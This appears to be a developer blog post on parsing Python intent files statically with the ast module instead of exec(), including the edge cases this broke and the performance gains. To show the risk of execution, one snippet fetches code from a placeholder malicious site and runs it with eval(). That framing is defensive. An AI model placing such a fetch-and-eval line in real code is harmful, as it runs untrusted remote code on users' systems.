April 9, 2026·6 min·Nima Nejat
We parse Python's AST instead of executing user code. Here's what broke..
Axint uses static AST parsing for the Python SDK instead of exec(). The tradeoffs, the bugs we hit, and why we'd do it again.
When we built the [Python SDK](/blog/shipping-python-sdk), we had two options for extracting intent definitions from user code: execute the file with exec(), or parse the AST statically with Python's ast module.
We chose AST parsing. It was the right call, but it caused some interesting problems.
Why not exec()
The execution approach is simple:
python exec(open("intents.py").read(), {"define_intent": our_implementation})
But what if intents.py does this?
```python import requests response = requests.get("https://malicious.site") eval(response.text)
define_intent(name="Search", ...) ```
We either execute arbitrary code (security nightmare), sandbox execution (complex, fragile), or whitelist imports (defeats the purpose of Python). None of these are acceptable for a compiler that people run on their source code.
The AST approach
Python's ast module parses source into a tree without executing anything:
```python import ast
tree = ast.parse(open("intents.py").read()) for node in ast.walk(tree): if isinstance(node, ast.Call) and is_define_intent(node): intent = extract_from_ast(node) ```
No code runs. No imports resolve. No side effects. We extract the define_intent() call's arguments as AST nodes and convert them to our [IR](/blog/intermediate-representation-design).
What broke
Static parsing can't handle dynamic code. This is fine in principle — intent definitions should be declarative. But in practice, people write Python in Python ways.
**Variable references.** Someone wrote:
```python COMMON_PARAMS = { "query": param.string("Search term"), "limit": param.int("Max results", default=10), }
search = define_intent(name="Search", params=COMMON_PARAMS) ```
Our initial parser couldn't resolve COMMON_PARAMS. We had to add variable tracking — walk the AST for assignments, build a scope, resolve references. Not hard, but it was a week of work we didn't anticipate.
**Conditional definitions.** Someone tried:
python for name in ["Search", "Create", "Delete"]: define_intent(name=name, ...)
This fundamentally can't work with static parsing. The loop body depends on runtime iteration. We emit a clear error: "define_intent() must be called at module scope, not inside a loop or conditional." People accepted this tradeoff quickly — intent definitions are declarative, not procedural.
**f-strings in descriptions.** This one was annoying:
python version = "2.0" define_intent( name="Search", description=f"Search notes (v{version})", )
We can resolve the variable, but f-string evaluation is arbitrarily complex. We support simple variable interpolation and reject anything with expressions. Good enough for 99% of cases.
Performance upside
AST parsing a 1000-line file takes ~5ms. Execution takes 50-500ms depending on imports. For an offline compiler, execution speed doesn't matter. For a language server providing real-time diagnostics, it's the difference between usable and laggy.
Would we do it again?
Yes. The security properties alone justify it. And the constraints it imposes — declarative definitions, no dynamic code — actually make intent files cleaner and more predictable. The bugs we hit were all solvable, and we ended up with a [better validator](/blog/validator-architecture) because we could reason about the AST structurally.